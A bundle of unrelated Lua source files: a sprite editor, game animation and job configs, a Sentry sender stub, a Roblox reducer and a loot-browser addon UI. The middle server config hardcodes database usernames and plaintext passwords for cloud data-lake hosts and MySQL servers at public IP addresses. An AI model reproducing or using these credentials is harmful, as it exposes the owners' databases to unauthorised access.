local maxSpriteSize = 4
function OnNextSpriteSize()
if(Key(Keys.LeftShift)) then
spriteSize = spriteSize - 1
if(spriteSize < 1) then
spriteSize = maxSpriteSize
end
else
spriteSize = spriteSize + 1
if(spriteSize > maxSpriteSize) then
spriteSize = 1
end
end
local spriteName = "sprite"..tostring(spriteSize).."x"
sizeBtnData.cachedSpriteData = {
up = _G[spriteName .. "up"],
down = _G[spriteName .. "down"] ~= nil and _G[spriteName .. "down"] or _G[spriteName .. "selectedup"],
over = _G[spriteName .. "over"],
selectedup = _G[spriteName .. "selectedup"],
selectedover = _G[spriteName .. "selectedover"],
selecteddown = _G[spriteName .. "selecteddown"] ~= nil and _G[spriteName .. "selecteddown"] or _G[spriteName .. "selectedover"],
disabled = _G[spriteName .. "disabled"],
empty = _G[spriteName .. "empty"] -- used to clear the sprites
}
editorUI:Invalidate(sizeBtnData)
end
function ImportColorsFromGame()
pixelVisionOS:ImportColorsFromGame()
end
function OnSave()
-- TODO need to save all of the colors back to the game
-- This will save the system data, the colors and color-map
gameEditor:Save(rootDirectory, {SaveFlags.System, SaveFlags.Sprites})
-- Display a message that everything was saved
pixelVisionOS:DisplayMessage("Your changes have been saved.", 5)
-- Clear the validation
ResetDataValidation()
end
function OnSelectSprite(value)
-- TODO need to convert the value to the Real ID
value = pixelVisionOS:CalculateRealSpriteIndex(spritePickerData, value)
editorUI:ChangeInputField(spriteIDInputData, value, false)
UpdateCanvas(value)
end
function UpdateCanvas(value)
-- Save the original pixel data from the selection
local tmpPixelData = gameEditor:Sprite(value)
local scale = 16 -- TODO need to get the real scale
local size = NewVector(8, 8)
-- TODO simulate selecting the first sprite
editorUI:ResizeCanvas(canvasData, size, scale, tmpPixelData)
-- If this is a new selection we want to save the original pixel data for the revert option
if(value ~= lastSelection) then
originalPixelData = {}
-- local colorOffset = pixelVisionOS.gameColorOffset
-- Need to loop through the pixel data and change the offset
local total = #tmpPixelData
for i = 1, total do
originalPixelData[i] = tmpPixelData[i] - colorOffset
end
lastSelection = value
pixelVisionOS:EnableMenuItem(RevertShortcut, false)
-- Only enable the clear menu when the sprite is not empty
pixelVisionOS:EnableMenuItem(ClearShortcut, not IsSpriteEmpty(tmpPixelData))
pixelVisionOS:EnableMenuItem(CopyShortcut, true)
end
end
function IsSpriteEmpty(pixelData)
local total = #pixelData
for i = 1, total do
if(pixelData[i] ~= -1) then
return false
end
end
return true
end
function ChangeSpriteID(value)
-- Need to convert the text into a number
value = tonumber(value)
pixelVisionOS:SelectSpritePickerSprite(spritePickerData, value)
editorUI:ChangeInputField(spriteIDInputData, value, false)
UpdateCanvas(value)
pixelVisionOS:RedrawSpritePickerPage(spritePickerData)
-- TODO don't know why I need to force this to stop dragging here?
spritePickerData.dragging = false
end
function Update(timeDelta)
-- This needs to be the first call to make sure all of the editor UI is updated first
pixelVisionOS:Update(timeDelta)
-- Only update the tool's UI when the modal isn't active
if(pixelVisionOS:IsModalActive() == false) then
if(success == true) then
pixelVisionOS:UpdateSpritePicker(spritePickerData)
editorUI:UpdateInputField(spriteIDInputData)
-- editorUI:UpdateInputField(colorHexInputData)
editorUI:UpdateButton(sizeBtnData)
editorUI:UpdateCanvas(canvasData)
if(canvasData.tool == "eyedropper") then
local colorID = canvasData.overColor
--
-- TODO need to account for direct color mode or palette mode
-- TODO in palette mode, use % to find the correct color on any page since you only paint with 0 - 16
-- Only update the color selection when it's new
if(colorID ~= lastColorID) then
if(usePalettes == true) then
-- print("colorID", colorID)
end
lastColorID = colorID
if(colorID == -1) then
local lastColor = usePalettes and gameEditor:ColorsPerSprite() or paletteColorPickerData.total - 1
pixelVisionOS:SelectColorPickerColor(paletteColorPickerData, lastColor)
else
pixelVisionOS:SelectColorPickerColor(paletteColorPickerData, lastColorID)
end
end
end
editorUI:UpdateToggleGroup(toolBtnData)
-- System picker
-- pixelVisionOS:UpdateColorPicker(systemColorPickerData)
pixelVisionOS:UpdateColorPicker(paletteColorPickerData)
if(IsExporting()) then
-- print("Exporting", tostring(ReadExportPercent()).. "% complete.")
pixelVisionOS:DisplayMessage("Saving " .. tostring(ReadExportPercent()).. "% complete.", 2)
end
end
end
end
function Draw()
RedrawDisplay()
-- The ui should be the last thing to update after your own custom draw calls
pixelVisionOS:Draw()
end
function Shutdown()
-- Save the current session ID
WriteSaveData("sessionID", SessionID())
WriteSaveData("rootDirectory", rootDirectory)
WriteSaveData("selectedSprite", spritePickerData.currentSelection)
-- TODO need to add selected tool, color and color page
end
function OnSpriteBuilder()
-- print("rootDirectory", rootDirectory)
local count = gameEditor:RunSpriteBuilder(rootDirectory)
if(count > 0) then
pixelVisionOS:DisplayMessage(count .. " sprites were processed for the 'sb-sprites.lua' file.")
else
pixelVisionOS:DisplayMessage("No sprites were found in the 'SpriteBuilder' folder.")
end
end
|
local anim8 = require 'vendor/anim8'
local app = require 'app'
local Fire = {}
Fire.__index = Fire
Fire.isFire = true
local image = love.graphics.newImage('images/fire.png')
image:setFilter('nearest', 'nearest')
local g = anim8.newGrid(25, 25, image:getWidth(), image:getHeight())
local states = {
burning = anim8.newAnimation('loop', g('1-8,1'), 0.25)
}
---
-- Creates a new Fire object
-- @param parent the parent node that the fire are added to
function Fire.new(tile)
local fire = {}
setmetatable(fire, Fire)
fire.state = 'burning'
fire.x = tile.x + math.random((tile.width / 2) * -1, (tile.width / 2))
fire.y = tile.y + math.random(0, -5)
return fire
end
function Fire:update(dt)
states[self.state]:update(dt)
end
function Fire:draw()
states[self.state]:draw(image, self.x, self.y)
end
return Fire
|
--[[
--MIT License
--
--Copyright (c) 2019 manilarome
--Copyright (c) 2020 Tom Meyers
--
--Permission is hereby granted, free of charge, to any person obtaining a copy
--of this software and associated documentation files (the "Software"), to deal
--in the Software without restriction, including without limitation the rights
--to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
--copies of the Software, and to permit persons to whom the Software is
--furnished to do so, subject to the following conditions:
--
--The above copyright notice and this permission notice shall be included in all
--copies or substantial portions of the Software.
--
--THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
--IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
--FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
--AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
--LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
--OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
--SOFTWARE.
]]
-- vim: st=4 sts=4 sw=4 et:
--- Sender object specification.
-- A Lua has a disparate ecosystem of networking libraries, this makes difficult
-- doing a one-size-fits-all library. Lua-TDE does as much logic as possible
-- in a generic way, relying on a *sender* object to send the actual payload to
-- the Sentry server.
--
-- This module only contains documentation, it does not implement an actual
-- sender.
--
-- @module TDE.senders.reference
-- @copyright 2014-2017 CloudFlare, Inc.
-- @license BSD 3-clause (see LICENSE file)
--- A sender object can be a table or a userdata.
-- I must contain all the logic to locate the server and send the data to it.
-- Notably, the core TDE object has no idea of the URL of the server, the
-- sender object must be able to build it by itself.
--
-- You can use the @{TDE.util.parse_dsn} function to process DSN strings.
--
-- @type Sender
--- The `send` method is called whenever a message must be sent to the Sentry
-- server. The authentication header can be generated with
-- @{TDE.util.generate_auth_header}.
--
-- @param json_str Request payload as a serialized string (it must be sent
-- verbatim, the sender should **not** try to alter it in any way)
-- @return[1] `true` when the payload has been sent successfully
-- @return[2] `nil` in case of error
-- @return[2] error message (will be logged)
-- @function Sender:send
return
|
Config = {}
Config.DrawDistance = 100.0
Config.MarkerColor = { r = 50, g = 50, b = 204 }
Config.EnablePlayerManagement = true
Config.EnableVaultManagement = false
Config.EnableSocietyOwnedVehicles = false
Config.EnableHelicopters = false
Config.EnableMoneyWash = false
Config.MaxInService = -1
Config.Locale = 'fr'
Config.AuthorizedVehicles = {
{ name = 'rumpo', label = 'Van Informer' },
}
Config.Blips = {
Blip = {
Pos = { x = -1087.048, y = -249.330, z = 36.947},
Sprite = 184,
Display = 3,
Scale = 0.9,
Colour = 0,
}
}
Config.Zones = {
BossActions = {
Pos = { x = -1053.683, y = -230.554, z = 43.020 },
Size = { x = 1.5, y = 1.5, z = 1.0 },
Color = { r = 50, g = 50, b = 204 },
Type = 1,
},
Cloakrooms = {
Pos = { x = -1068.600, y = -241.440, z = 38.833},
Size = { x = 1.5, y = 1.5, z = 1.0 },
Color = { r = 50, g = 50, b = 204 },
Type = 1,
},
Vehicles = {
Pos = { x = -1095.294, y = -255.858, z = 36.812 },
SpawnPoint = { x = -1099.061, y = -265.882, z = 37.692},
Size = { x = 1.8, y = 1.8, z = 1.0 },
Color = { r = 50, g = 50, b = 204 },
Type = 1,
Heading = 207.43,
},
VehicleDeleters = {
Pos = { x = -1102.436, y = -255.600, z = 36.292},
Size = { x = 4.0, y = 4.0, z = 2.0 },
Color = { r = 50, g = 50, b = 204 },
Type = 1
},
}
Config.Uniforms = {
journaliste_outfit = {
male = {
['tshirt_1'] = 15, ['tshirt_2'] = 0,
['torso_1'] = 111, ['torso_2'] = 1,
['decals_1'] = 0, ['decals_2'] = 0,
['arms'] = 4,
['pants_1'] = 13, ['pants_2'] = 0,
['shoes_1'] = 57, ['shoes_2'] = 10,
['chain_1'] = 0, ['chain_2'] = 0
},
female = {
['tshirt_1'] = 14, ['tshirt_2'] = 0,
['torso_1'] = 27, ['torso_2'] = 0,
['decals_1'] = 0, ['decals_2'] = 0,
['arms'] = 0,
['pants_1'] = 0, ['pants_2'] = 8,
['shoes_1'] = 3, ['shoes_2'] = 2,
['chain_1'] = 2, ['chain_2'] = 1
}
},
journaliste_outfit_1 = {
male = {
['tshirt_1'] = 6, ['tshirt_2'] = 1,
['torso_1'] = 25, ['torso_2'] = 3,
['decals_1'] = 8, ['decals_2'] = 0,
['arms'] = 11,
['pants_1'] = 13, ['pants_2'] = 0,
['shoes_1'] = 51, ['shoes_2'] = 1,
['chain_1'] = 24, ['chain_2'] = 5
},
female = {
['glasses_1'] = 5, ['glasses_2'] = 0,
['tshirt_1'] = 24, ['tshirt_2'] = 0,
['torso_1'] = 28, ['torso_2'] = 4,
['decals_1'] = 0, ['decals_2'] = 0,
['arms'] = 0,
['pants_1'] = 6, ['pants_2'] = 0,
['shoes_1'] = 13, ['shoes_2'] = 0,
['chain_1'] = 0, ['chain_2'] = 0
}
},
journaliste_outfit_2 = {
male = {
['tshirt_1'] = 33, ['tshirt_2'] = 0,
['torso_1'] = 77, ['torso_2'] = 1,
['decals_1'] = 8, ['decals_2'] = 0,
['arms'] = 11,
['pants_1'] = 13, ['pants_2'] = 0,
['shoes_1'] = 51, ['shoes_2'] = 1,
['chain_1'] = 27, ['chain_2'] = 5
},
female = {
['glasses_1'] = 5, ['glasses_2'] = 0,
['tshirt_1'] = 40, ['tshirt_2'] = 7,
['torso_1'] = 64, ['torso_2'] = 1,
['decals_1'] = 0, ['decals_2'] = 0,
['arms'] = 0,
['pants_1'] = 6, ['pants_2'] = 0,
['shoes_1'] = 13, ['shoes_2'] = 0,
['chain_1'] = 0, ['chain_2'] = 0
}
},
journaliste_outfit_3 = {
male = {
['tshirt_1'] = 33, ['tshirt_2'] = 0,
['torso_1'] = 31, ['torso_2'] = 0,
['decals_1'] = 0, ['decals_2'] = 0,
['arms'] = 4,
['pants_1'] = 10, ['pants_2'] = 0,
['shoes_1'] = 10, ['shoes_2'] = 0,
['chain_1'] = 27, ['chain_2'] = 5
},
female = {
['glasses_1'] = 5, ['glasses_2'] = 0,
['tshirt_1'] = 20, ['tshirt_2'] = 2,
['torso_1'] = 24, ['torso_2'] = 3,
['decals_1'] = 0, ['decals_2'] = 0,
['arms'] = 5,
['pants_1'] = 6, ['pants_2'] = 0,
['shoes_1'] = 13, ['shoes_2'] = 0,
['chain_1'] = 0, ['chain_2'] = 0
}
}
} |
local conf = {}
conf.redis = {
["pubsub"] = {
host = "127.0.0.1",
port = 6379,
},
["single"] = {
host = "127.0.0.1",
port = 6379,
},
[1] = {
host = "127.0.0.1",
port = 6379,
},
[2] = {
host = "192.168.82.164",
port = 6379,
},
}
conf.mysql = {
trans = {
host = "192.168.82.138",
port = "3306",
database = "Zipai",
user = "root",
password = "123",
max_packet_size = 10 * 1024 * 1024,
},
export = {
host = "192.168.82.138",
port = "3306",
database = "Zipai",
user = "root",
password = "123",
max_packet_size = 10 * 1024 * 1024,
type = 0,
},
localhost = {
host = "192.168.82.101",
port = "3306",
database = "Zipai",
user = "root",
password = "123",
type = 0,
max_packet_size = 10 * 1024 * 1024,
},
["dla2017"] = {
host = "1475177020277729-73404573.cn-shenzhen.datalakeanalytics.aliyuncs.com",
port = "10000",
database = "oss_gamelog2017",
user = "qinyanhong_s1475177020277729",
password = "wQOsikfKJLctvn1ctc",
type = 1,
max_packet_size = 100 * 1024 * 1024,
},
["dla2018"] = {
host = "1475177020277729-73404573.cn-shenzhen.datalakeanalytics.aliyuncs.com",
port = "10000",
database = "oss_gamelog2018",
user = "qinyanhong_s1475177020277729",
password = "wQOsikfKJLctvn1ctc",
type = 1,
max_packet_size = 100 * 1024 * 1024,
},
["dla2019"] = {
host = "1475177020277729-73404573.cn-shenzhen.datalakeanalytics.aliyuncs.com",
port = "10000",
database = "oss_gamelog2019",
user = "qinyanhong_s1475177020277729",
password = "wQOsikfKJLctvn1ctc",
type = 1,
max_packet_size = 100 * 1024 * 1024,
},
--[[
["2017_118"] = {
host = "47.112.252.58",
port = "3306",
database = "Zipai",
user = "qyh_2019_db_user",
password = "qS6.WaQr0nZv0*&G",
type = 1,
max_packet_size = 10 * 1024 * 1024,
},
["2017_115"] = {
host = "47.115.47.54",
port = "3306",
database = "GameLog",
user = "qyh_2019_db_user",
password = "qS6.WaQr0nZv0*&G",
type = 1,
max_packet_size = 10 * 1024 * 1024,
},
["2018_118"] = {
host = "8.129.15.148",
port = "3306",
database = "Zipai",
user = "qyh_2019_db_user",
password = "qS6.WaQr0nZv0*&G",
type = 1,
max_packet_size = 10 * 1024 * 1024,
},
["2018_115"] = {
host = "47.115.124.181",
port = "3306",
database = "GameLog",
user = "qyh_2019_db_user",
password = "qS6.WaQr0nZv0*&G",
type = 1,
max_packet_size = 10 * 1024 * 1024,
},
]]
["2019_118"] = {
host = "120.79.9.214",
port = "3306",
database = "Zipai",
user = "qyh_2019_db_user",
password = "qS6.WaQr0nZv0*&G",
type = 1,
max_packet_size = 10 * 1024 * 1024,
},
["2019_115"] = {
host = "120.77.178.144",
port = "3306",
database = "GameLog",
user = "qyh_2019_db_user",
password = "qS6.WaQr0nZv0*&G",
type = 1,
max_packet_size = 10 * 1024 * 1024,
},
}
conf.mysqldb_name = {}
for k,v in pairs(conf.mysql) do
conf.mysqldb_name[k] = k
end
return conf
|
local Immutable = require(script.Parent.Parent.Immutable)
local DataStoresUpdateSearchFilter = require(script.Parent.Parent.Actions.DataStoresUpdateSearchFilter)
return function(state, action)
local dataStoresData = state or {
storesSearchTerm = "",
}
if action.type == DataStoresUpdateSearchFilter.name then
return Immutable.Set(dataStoresData, "storesSearchTerm", action.searchTerm)
end
return dataStoresData
end |
--/run dofile("interface/addons/DungeonLoots/lua/ui.lua")
local me = DL.ui
function me.OnUpdate()
if me.update then
if me.update + 0.2 < GetTime() then
me.FilterList()
me.update = nil
end
end
end
function me.Init()
me.InitTabs()
me.InitFrames()
me.LoadData()
DL.plus.Init(DL.tbls.items)
end
-------------------------------------------------------
--------------- Load Data function --------------------
-------------------------------------------------------
function me.LoadData()
for name, b in pairs(DL.tbls) do
if name ~= "items" then
local fn, err = loadfile("interface/addons/DungeonLoots/db/"..name..".lua")
if fn then
DL.tbls[name] = fn()
end
if err then
print(err)
end
end
end
DL.tbls.items = {}
for a,b in pairs(DL.tbls.armor) do
DL.tbls.items[a]={rarity=GetQualityByGUID(a),name = DL.helper.GetName(a), level = b[2],pos = b[1]}
end
for a,b in pairs(DL.tbls.weapon) do
DL.tbls.items[a]={rarity=GetQualityByGUID(a),name = DL.helper.GetName(a), level = b[2],pos = b[1]}
end
end
-------------------------------------------------------
--------------- Scrollbar funtions --------------------
-------------------------------------------------------
function me.Scroll(this, delta)
if (delta > 0) then
this:SetValue(this:GetValue() - 2);
elseif (delta < 0) then
this:SetValue(this:GetValue() + 2);
end;
end;
function me.OnValueChanged(this)
local min, max = this:GetMinMaxValues()
DL_main_frame_ScrollBarScrollDownButton:Enable()
DL_main_frame_ScrollBarScrollUpButton:Enable()
if this:GetValue() == min then
DL_main_frame_ScrollBarScrollUpButton:Disable()
end
if this:GetValue() == max then
DL_main_frame_ScrollBarScrollDownButton:Disable()
end
me.RedrawList()
me.ShowHighlight()
end
-------------------------------------------------------
----------------- List function -----------------------
-------------------------------------------------------
function me.OnEnter(this, id, override)
if id == nil then return end
local tt = GameTooltip
if override then
tt = DLTooltip
else
tt:ClearAllAnchors();
tt:SetAnchor("CENTER", "CENTER", this:GetName(), 2, 0);
tt:SetOwner(this, "ANCHOR_BOTTOMRIGHT", 0, 0);
end
tt:Hide();
if id <= 200000 then
local txt,tbl,tooltip = "", {}, nil
if me.listtype == 3 then -- sufu
txt,tbl, tooltip = DL.helper.GetSearchTooltip(id)
if tooltip then
tt:SetHyperLink(("|Hitem:%x|h|h"):format(tooltip));
tt:AddSeparator()
tt:AddLine(txt)
end
elseif me.listtype == 1 then -- Bosslist
if me.listid == 1 then -- bosses
txt,tbl = DL.helper.GetBossTooltip(id)
end
elseif me.listtype == 0 then -- instancelist
if me.listid == 0 then -- instances
txt,tbl = DL.helper.GetInstanceTooltip(id)
elseif me.listid == 1 then -- bosses
txt,tbl = DL.helper.GetBossTooltip(id, true, me.instanceid)
end
end
if not (me.listtype == 3 and tooltip) then
tt:SetText(txt);
end
for i=1,#tbl do
if tbl[i] == "<SEP>" then
tt:AddSeparator()
else
tt:AddLine(tbl[i])
end
end
elseif id >= 510000 and id < 520000 then
local link = string.format("%x 1 0 %04x 0 0 0 0 0 0 0", 202840, id - 500000) -- Manastein
local hash = DL.plus.CalculateItemLinkHash(link)
link = string.format("|Hitem:%s %x|htest|h", link, hash)
tt:SetHyperLink(link)
else
tt:SetHyperLink(("|Hitem:%x|h|h"):format(id));
end
local r, g, b = GetItemQualityColor(GetQualityByGUID(id))
tt:AddLine(string.format("|cff%02x%02x%02xID: %d", r*0xff, g*0xff, b*0xff, id))
GameTooltip1:Hide()
GameTooltip2:Hide()
end
function me.HeaderOnEnter(this, id)
if me.listid <= 0 then
GameTooltip:SetOwner(this, "ANCHOR_BOTTOMRIGHT", 0, 0);
GameTooltip:SetText(DL.lang.ChangeSortOrder)
if not DL_Settings.SortByName then
GameTooltip:AddLine(string.format(DL.lang.InstanceOrder, TEXT("C_NAME")))
else
GameTooltip:AddLine(string.format(DL.lang.InstanceOrder, TEXT("C_LEVEL")))
end
GameTooltip:AddLine(this:GetText())
GameTooltip:Show();
end
end
function me.SetHeaderText()
if me.listtype == 3 then
DL_main_frame_list_Button0:SetText(DL.lang.SearchList)
else
if me.listtype == 0 then
DL_main_frame_list_Button0:SetText(DL.lang.InstanceList)
elseif me.listtype == 1 then
DL_main_frame_list_Button0:SetText(DL.lang.BossList)
elseif me.listtype == 2 then
DL_main_frame_list_Button0:SetText(DL.lang.ItemList)
elseif me.listtype == 4 then
DL_main_frame_list_Button0:SetText(DL.lang.TreasureList)
end
local txt = nil
if me.instanceid then
txt = GetZoneLocalName( me.instanceid )
end
if me.bossid then
if txt then txt = txt .. ": " end
txt = string.format("%s%s", txt or "", TEXT("Sys"..me.bossid .."_name") or "")
end
if me.itemid then
txt = string.format("%s (%d)", TEXT("Sys"..me.itemid .."_name"), me.itemid)
end
if txt then
DL_main_frame_list_Button0:SetText(txt)
end
end
end
--/run print(DL.ui.listtype..DL.ui.listid )
function me.OnClick(id, this, key, double)
local old_listid = me.listid
if key == "LBUTTON" then
local itemLink = nil
local r, g, b = GetItemQualityColor(GetQualityByGUID(this.id))
if me.listtype == 3 then -- sufu
DL.helper.OnSearchResultClick(this.id, key, double)
elseif me.listtype == 1 or me.listtype == 0 or me.listtype == 2 or me.listtype==4 then -- Bosslist / instancelist / Itemlist /treasurelist
if me.listid == 0 then -- instances
if IsAltKeyDown() then -- ShowOnMap
DL.worldmap.Show(this.id, nil)
return
end
me.instanceid = this.id;
DL_main_frameSearch:SetText("")
elseif me.listid == 1 then -- bosses
if IsAltKeyDown() then -- ShowOnMap
if IsCtrlKeyDown() then
GC_OpenWebRadio("http://www.rom-welten.de/database/view.php?id="..this.id)
return
end
DL.worldmap.Show(me.instanceid, this.id)
return
end
if (not IsCtrlKeyDown() and not IsShiftKeyDown()) then
me.bossid = this.id
end
itemLink = string.format("|Hnpc:%d|h|cffffffff[%s]|r|h", this.id, DL.helper.GetName(this.id) )
DL_main_frameSearch:SetText("")
elseif me.listid == 2 then -- items
if IsCtrlKeyDown() and IsAltKeyDown() then
GC_OpenWebRadio("http://www.rom-welten.de/database/view.php?id="..this.id)
return
end
if double then
if DL.tbls.armor[this.id] or DL.tbls.weapon[this.id] then
me.itemid = this.id
else
me.itemid = nil
end
else
if not DL.tbls.treasure[this.id] then
itemLink = string.format("|Hitem:%x|h|cff%02x%02x%02x[%s]|r|h", this.id, r*0xFF, g*0xFF, b*0xFF, DL.helper.GetName(this.id))
me.ListSelect = this.id
end
end
DL_main_frameSearch:SetText("")
elseif me.listid == 3 then -- stats
-- do nothing
end
if not itemLink or (not IsCtrlKeyDown() and not IsShiftKeyDown()) then
if me.listid < 2 or (me.listid==2 and me.itemid and me.itemid == this.id) then
me.listid = me.listid + 1
end
end
end
if itemLink then
if( IsShiftKeyDown() ) then
if( ITEMLINK_EDITBOX )then
ChatEdit_AddItemLink( itemLink );
return;
end
elseif( IsCtrlKeyDown() ) then
if this.id < 200000 then
DL_PreviewFrame:Show()
DL_PreviewFrameModel:SetModel(this.id)
else
ItemPreviewFrame_SetItemLink(DL_PreviewFrame, itemLink );
me.ChangeModel(this.id)
end
end
end
elseif key == "RBUTTON" then
if me.listtype == 3 then -- sufu
-- do nothing
else
me.ListSelect = nil
if me.listid <= 0 then
DL_Settings.SortByName = not DL_Settings.SortByName
me.FilterList()
elseif me.listid <= 1 then
me.instanceid = nil;
elseif me.listid <= 2 then
me.bossid = nil;
elseif me.listid <= 3 then
me.itemid = nil;
end
DL_main_frameSearch:SetText("")
local listtype = me.listtype
if listtype ==4 then listtype = 1 end
if me.listid > listtype then
me.listid = me.listid - 1
end
end
end
if me.listid==old_listid then
me.ShowHighlight()
return
else
me.ListSelect = nil
end
me.ShowHighlight()
me.SetHeaderText()
me.FilterList()
end
----------------- change functions --------------------
function me.ShowHighlight()
DL_main_frame_list_Highlight:Hide();
if me.listtype == 3 then
if (me.ListSelectSearch ~= nil) then
for i = 1, 20 do
if _G["DL_main_frame_list_Button" .. i].id == me.ListSelectSearch then
DL_main_frame_list_Highlight:ClearAllAnchors();
DL_main_frame_list_Highlight:SetAnchor("TOPLEFT", "TOPLEFT", DL_main_frame_list, 5, 20 + (i - 1)*20);
DL_main_frame_list_Highlight:SetAnchor("BOTTOMRIGHT", "TOPRIGHT", DL_main_frame_list, - 5, 40 + (i - 1)*20);
DL_main_frame_list_Highlight:Show();
end
end
end
else
if (me.ListSelect ~= nil) then
for i = 1, 20 do
if _G["DL_main_frame_list_Button" .. i].id == me.ListSelect then
DL_main_frame_list_Highlight:ClearAllAnchors();
DL_main_frame_list_Highlight:SetAnchor("TOPLEFT", "TOPLEFT", DL_main_frame_list, 5, 20 + (i - 1)*20);
DL_main_frame_list_Highlight:SetAnchor("BOTTOMRIGHT", "TOPRIGHT", DL_main_frame_list, - 5, 40 + (i - 1)*20);
DL_main_frame_list_Highlight:Show();
end
end
end
end
end
local function FilterName(id, txt)
local name_id_search = string.lower(DL_main_frameSearch:GetText())
if string.match(string.lower(txt), name_id_search) then --Clientname search
return true
end
if string.match(id, name_id_search) then -- id search
return true
end
return false
end
function me.FilterList()
local lst = {}
-- /run DL.ui.listtype = 4;DL.ui.FilterList()
if me.listtype == 4 then
if me.listid == 1 then --treasurelist "boss" (hidden)
for a,b in pairs(DL.tbls.treasure) do
table.insert(lst, DL.helper.GetNameRarityByID(a))
end
local function fn(v1,v2)
if v1.id < v2.id then
return true
end
end
table.sort(lst,fn)
elseif me.listid == 2 then -- itemlist
lst = DL.helper.GetBossLootSortedValues(me.bossid)
elseif me.listid == 3 then -- stats
lst = DL.helper.GetItemValues(me.itemid)
end
elseif me.listtype == 3 then -- sufu
lst = DL.helper.GetSearchValues(DL.search.onlyinstance)
elseif me.listtype == 2 then -- itemlist
if me.listid == 2 then -- items
for a,b in pairs(DL.tbls.armor) do
table.insert(lst, DL.helper.GetNameRarityByID(a))
end
for a,b in pairs(DL.tbls.weapon) do
table.insert(lst, DL.helper.GetNameRarityByID(a))
end
local function fn(v1,v2)
if v1.id < v2.id then
return true
end
end
table.sort(lst,fn)
elseif me.listid == 3 then -- stats
lst = DL.helper.GetItemValues(me.itemid)
end
elseif me.listtype == 1 then -- Bosslist
if me.listid == 1 then -- bosses
for a,b in pairs(DL.tbls.npc) do
table.insert(lst, DL.helper.GetNameRarityByID(a))
end
local function fn(v1,v2)
if v1.id < v2.id then
return true
end
end
table.sort(lst,fn)
elseif me.listid == 2 then -- items
lst = DL.helper.GetBossLootSortedValues(me.bossid)
elseif me.listid == 3 then -- stats
lst = DL.helper.GetItemValues(me.itemid)
end
elseif me.listtype == 0 then -- instancelist
if me.listid == 0 then -- instances
for a,b in pairs(DL.tbls.instance) do
table.insert(lst, DL.helper.GetInstanceValues(a))
end
local function fn(v1,v2)
if not DL_Settings.SortByName then
if v1.level > v2.level then
return true
elseif v1.level == v2.level then
if v1.id > v2.id then
return true
end
end
else
if v1.text < v2.text then
return true
end
end
end
table.sort(lst,fn)
elseif me.listid == 1 then -- bosses
for i=1, #DL.tbls.instance[me.instanceid].boss do
local boss = DL.tbls.instance[me.instanceid].boss[i]
table.insert(lst, DL.helper.GetBossValues(boss.id, true, boss))
end
elseif me.listid == 2 then -- items
lst = DL.helper.GetBossLootSortedValues(me.bossid)
elseif me.listid == 3 then -- stats
lst = DL.helper.GetItemValues(me.itemid)
end
end
me.FilteredList = {} --reset list
for i=1,#lst do
if FilterName(lst[i].id,lst[i].text) then
table.insert(me.FilteredList,lst[i])
end
end
me.ShowHighlight()
DL.ui.RedrawList()
end
function me.RedrawList()
local tbl = me.FilteredList
local maxval = #tbl - 20 + 1
if (maxval < 1) then maxval = 1; end;
DL_main_frame_ScrollBar:SetMinMaxValues(1, maxval);
local val = DL_main_frame_ScrollBar:GetValue();
for i = 1, 20 do
local index = i + val - 1;
if tbl[index] then
_G["DL_main_frame_list_Button" .. i .. "_txt"]:SetColor(tbl[index].r, tbl[index].g, tbl[index].b)
_G["DL_main_frame_list_Button" .. i .. "_txt"]:SetText(tbl[index].text)
_G["DL_main_frame_list_Button" .. i].id = tbl[index].id
_G["DL_main_frame_list_Button" .. i]:Show()
else
_G["DL_main_frame_list_Button" .. i]:Hide()
_G["DL_main_frame_list_Button" .. i].id = nil
end
end
end
function me.CurrentInstanceBossButtonOnClick(zone, boss)
local zid = GetZoneID() % 1000
if zone then
if DL.tbls.instance[zid] then
DL.helper.ShowInDL(zid, nil, nil)
end
end
if boss then
local tgt = UnitName("target")
if tgt then
if DL.tbls.instance[zid] then
for num, boss in pairs(DL.tbls.instance[zid].boss) do
if TEXT("Sys"..boss.id.."_name") == tgt then
DL.helper.ShowInDL(zid, boss.id, nil)
return
end
if boss.id2 then
for i=1,#boss.id2 do
if TEXT("Sys"..boss.id2[i].id.."_name") == tgt then
DL.helper.ShowInDL(zid, boss.id, nil)
return
end
end
end
end
end
DL.search.Search(tgt,true, false,true,false,false)
me.SetListType(3)
me.SetChangerText()
me.SetHeaderText()
me.FilterList()
me.ShowHighlight()
return
end
if DL.tbls.instance[zid] then
DL.helper.ShowInDL(zid, nil, nil)
end
end
end
local change_buttons = {
"DL_adv_frame_search_Instance",
"DL_adv_frame_search_Boss",
"DL_adv_frame_search_Items",
"DL_adv_frame_search_Search",
"DL_adv_frame_search_Treasure",
}
function me.SetListType(typ)
if typ == me.listtype then return end
DL_main_frameSearch:SetText("")
me.ListSelect = nil
me.ListSelectSearch = nil
if me.listtype==4 then me.listtype = 1 end -- treasure workaround
if me.listtype <= 0 then
me.instanceid = nil
end
if me.listtype <= 1 then
me.bossid = nil
end
if me.listtype <= 2 then
me.itemid = nil
end
for i=1,#change_buttons do
if i==typ+1 then
_G[change_buttons[i]]:Disable()
else
_G[change_buttons[i]]:Enable()
end
end
me.listtype = typ
if typ == 4 then typ=1 end --treasure workaround
me.listid = typ
end
-------------------------------------------------------------------------
------------------------------- Advanced UI -----------------------------
-------------------------------------------------------------------------
function me.InitTabs()
local maintabs = {
{text = TEXT("SOCIAL_SEARCH_PLAYER"), frame = "DL_adv_frame_search", visibleOnShow = true },
{text = DL.lang.TabTier, frame = "DL_adv_frame_plus"},
{text = TEXT("CLOSE"), func = loadstring("ToggleUIFrame(DL_adv_frame)")},
}
DL_button_SetTab(DL_adv_frame_tabHeader, maintabs)
end
function me.InitFrames()
me.SetListType(0)
me.SetHeaderText()
DL_main_frame_MoreButton:SetText(DL.lang.MoreButton)
DL_main_frame_info:SetText(string.format(DL.lang.Version, DL.name, DL.version))
DL_main_frame_list_Button0.func = function () me.OnClick(0, 0, "RBUTTON", false) end
DL_main_frame_list_Button0.ttfunc = function (this, id) me.HeaderOnEnter(this, id) end
me.OnClick(0, 0, "RBUTTON", false)
-- Search Frame ---------------------------------------
